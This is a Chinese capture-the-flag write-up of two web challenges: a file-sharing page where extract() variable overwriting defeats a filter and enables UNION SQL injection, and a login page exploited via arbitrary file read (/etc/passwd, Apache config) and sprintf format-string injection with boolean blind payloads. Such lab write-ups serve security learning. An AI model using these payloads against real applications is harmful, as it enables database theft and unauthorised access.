周末有事回家,没有来得及好好打一打,看了一点
现在来复现一波吧
千毒网盘 首先就是扫一波发现源码泄露www.zip
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 <!DOCTYPE html> <html lang="en" > <head> <meta charset="UTF-8" > <meta name="viewport" content="width=device-width, initial-scale=1.0" > <link rel="stylesheet" href="/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous" > <title>千毒网盘</title> </head> <body> <div class="container"> <div class="page-header"> <h1> 千毒网盘 <small>提取你的文件</small> </h1> </div> <div class="row clearfix"> <div class="col-md-4 column"> </div> <div class="col-md-4 column"> <br> <form role="form" action='/index.php' method="POST" > <div class="form-group"> <h3>提取码</h3><br><input class="form-control" name="code" /> </div> <button type="submit" class="btn btn-block btn-default btn-warning">提取文件</button> </form> <br> <?php include 'code.php' ; $pan = new Pan(); foreach (array ('_GET' , '_POST' , '_COOKIE' ) as $key) { if ($$key) { foreach ($$key as $key_2 => $value_2) { if (isset ($$key_2) and $$key_2 == $value_2) unset ($$key_2); } } } if (isset ($_POST['code' ])) $_POST['code' ] = $pan->filter($_POST['code' ]); if ($_GET) extract($_GET, EXTR_SKIP); if ($_POST) extract($_POST, EXTR_SKIP); if (isset ($_POST['code' ])) { $message = $pan->getfile(); echo <<<EOF <div class="alert alert-dismissable alert-info"> <button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button> <h4> 注意! </h4> <strong>注意!</strong> {$message} </div> EOF; } ?> </div> <div class="col-md-4 column"> </div> </div> </div> </div> </body> </html>
code.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <?php class Pan { public $hostname = '127.0.0.1' ; public $username = 'root' ; public $password = 'root' ; public $database = 'ctf' ; private $mysqli = null ; public function __construct ( ) { $this ->mysqli = mysqli_connect( $this ->hostname, $this ->username, $this ->password ); mysqli_select_db($this ->mysqli,$this ->database); } public function filter ($string ) { $safe = preg_match('/union|select|flag|in|or|on|where|like|\'/is' , $string); if ($safe === 0 ){ return $string; }else { return False ; } } public function getfile ( ) { $code = $_POST['code' ]; if ($code === False ) return '非法提取码!' ; $file_code = array (114514 ,233333 ,666666 ); if (in_array($code,$file_code)) { $sql = "select * from file where code='$code '" ; $result = mysqli_query($this ->mysqli,$sql); $result = mysqli_fetch_object($result); return '下载直链为:' .$result->url; }else { return '提取码不存在!' ; } } }
后面class类已经过滤了蛮多东西的,这个主要的问题在于这段代码
1 2 3 4 5 6 7 8 9 10 11 12 foreach (array ('_GET' , '_POST' , '_COOKIE' ) as $key) { if ($$key) { foreach ($$key as $key_2 => $value_2) { if (isset ($$key_2) and $$key_2 == $value_2) unset ($$key_2); } } } if (isset ($_POST['code' ])) $_POST['code' ] = $pan->filter($_POST['code' ]); if ($_GET) extract($_GET, EXTR_SKIP); if ($_POST) extract($_POST, EXTR_SKIP);
unset()主要时用来销毁变量的
主要是要关注为啥会在filter
过滤后面又加这段代码
1 2 if ($_GET) extract($_GET, EXTR_SKIP);if ($_POST) extract($_POST, EXTR_SKIP);
extract很明显的变量覆盖
EXTR_OVERWRITE
如果有冲突,覆盖已有的变量。
EXTR_SKIP
如果有冲突,不覆盖已有的变量。
1 2 3 4 5 6 7 <?php $a="xxx" ; $b="lalala" ; extract($_POST,EXTR_SKIP); extract($_GET,EXTR_OVERWRITE); var_dump($a); var_dump($b);
?b=bbb
POST:
a=aaa
显示
1 2 string 'xxx' (length=3) string 'bbb' (length=3)
直接先试一下
1 2 3 ?_POST[code]=66666 POST code=66666
所以直接在先销毁变量然后再变量覆盖新创建变量,就是没有过滤的sql注入了
下一步时
变量被销毁了
在下面extract创建新变量这时候就是POST数据毫无过滤
直接打就好了
payload
1 2 3 ?_POST[code]=666666'and'1'='2' union select 1,2,flag url from flag# POST code=666666'and'1'='2' union select 1,2,flag url from flag#
TryToLogin 给了file可以读文件,直接读取/etc/passwd发现有apache
直接读apache配置文件看根目录是啥
1 file=/etc/apache2/sites-available/000-default.conf
然后直接读源码
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php highlight_file(__FILE__ ); include 'class.php' ;if (isset ($_GET['file' ])){ if (preg_match('/flag/is' , $_GET['file' ]) === 0 ){ echo file_get_contents('/' .$_GET['file' ]); } } if (isset ($_POST['password' ])){ $user = new user; $login = $user->login(); if ($login){ echo <<<EOF <br> <div class="container"> <div class="row clearfix"> <div class="col-md-12 column"> <div class="alert alert-dismissable alert-info"> <button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button> <h4> 恭喜! </h4> <strong>Success!</strong>登录成功了! </div> </div> </div> </div> EOF; }else { echo <<<EOF <br> <div class="container"> <div class="row clearfix"> <div class="col-md-12 column"> <div class="alert alert-dismissable alert-danger"> <button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button> <h4> 注意! </h4> <strong>Wrong!</strong>用户名或密码错误!Need help? </div> </div> </div> </div> <!-- /?file=xxx 请使用绝对路径--> EOF; } } ?>
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php class user { public $hostname = '127.0.0.1' ; public $username = 'root' ; public $password = 'root' ; public $database = 'ctf' ; private $mysqli = null ; public function __construct ( ) { $this ->mysqli = mysqli_connect( $this ->hostname, $this ->username, $this ->password ); mysqli_select_db($this ->mysqli,$this ->database); } public function filter ( ) { $_POST['username' ] = addslashes($_POST['username' ]); $_POST['password' ] = addslashes($_POST['password' ]); $safe1 = preg_match('/inn|or/is' , $_POST['username' ]); $safe2 = preg_match('/inn|or/is' , $_POST['password' ]); if ($safe1 === 0 and $safe2 === 0 ){ return true ; }else { die ('No hacker!' ); } } public function login ( ) { $this ->filter(); $username = $_POST['username' ]; $password = $_POST['password' ]; $sql = "select * from user where username='%s' and password='$password '" ; $sql = sprintf($sql,$username); $result = mysqli_query($this ->mysqli,$sql); $result = mysqli_fetch_object($result); if ($result->id){ return 1 ; }else { return 0 ; } } } session_start();
挺明显的sprintf注入漏洞
sprintf(format,arg1,arg2,arg++)
arg1、arg2、++ 参数将被插入到主字符串中的百分号(%)符号处。该函数是逐步执行的。在第一个 % 符号处,插入 arg1,在第二个 % 符号处,插入 arg2,依此类推。
注释:如果 % 符号多于 arg 参数,则您必须使用占位符。占位符位于 % 符号之后,由数字和 “$“ 组成。 例如%1$s第一个参数(arg1)填入以字符串形式
一个例子
1 2 3 4 5 6 7 8 9 <?php $a="%1$' or 1=1#" ; $a=addslashes($a); $str1=sprintf("select * from test where username='%s' and password='$a '" ,"sss" ); var_dump($str1);
mysql> select * from test where name=’xixi’ and password=’’ or 1; +—-+——-+———-+ | Id | name | password | +—-+——-+———-+ | 1 | xixi | nicaicai | | 2 | admin | admin | +—-+——-+———-+
所以接下来就是sql的一个盲注,过滤了or可以使用||代替,因为数据版本在5.7以上所以information.schema的库都可以参考这篇文章聊一聊bypass information_schema
后面就是简单的布尔盲注了
1 2 3 4 5 6 7 爆库 %1$'||(ascii(substr((select database()),{},1))>{})# 使用sys.schema_table_statistics来bypass or 爆表:fl4g %1$'||(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))>{})# 爆数据 %1$'||(ascii(substr((select * from fl4g),{},1))>{})#
最后一题是ssti,之前看了一些但是感觉理解还是不够好,过几天再好好学习一遍再来补上